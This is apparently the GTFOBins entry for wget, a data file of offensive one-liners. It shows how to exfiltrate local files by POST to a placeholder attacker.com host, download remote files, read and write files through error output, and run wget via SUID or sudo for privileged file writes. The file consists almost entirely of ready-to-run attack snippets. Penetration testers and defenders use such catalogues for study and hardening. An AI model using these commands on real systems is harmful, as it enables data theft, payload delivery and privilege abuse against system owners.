GTFOBins.github.io/_gtfobins/wget.md
2021-05-15 19:21:30 +02:00

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---
functions:
file-upload:
- description: Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Use `--post-data` to send hard-coded data.
code: |
URL=http://attacker.com/
LFILE=file_to_send
wget --post-file=$LFILE $URL
file-read:
- description: The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages, thus this is not suitable to read arbitrary binary data.
code: |
LFILE=file_to_read
wget -i $LFILE
file-write:
- description: The data to be written is treated as a list of URLs, one per line, which are actually fetched by `wget`. The data is written, somewhat modified, as error messages, thus this is not suitable to write arbitrary binary data.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo DATA > $TF
wget -i $TF -o $LFILE
file-download:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
wget $URL -O $LFILE
suid:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
./wget $URL -O $LFILE
sudo:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
sudo wget $URL -O $LFILE
---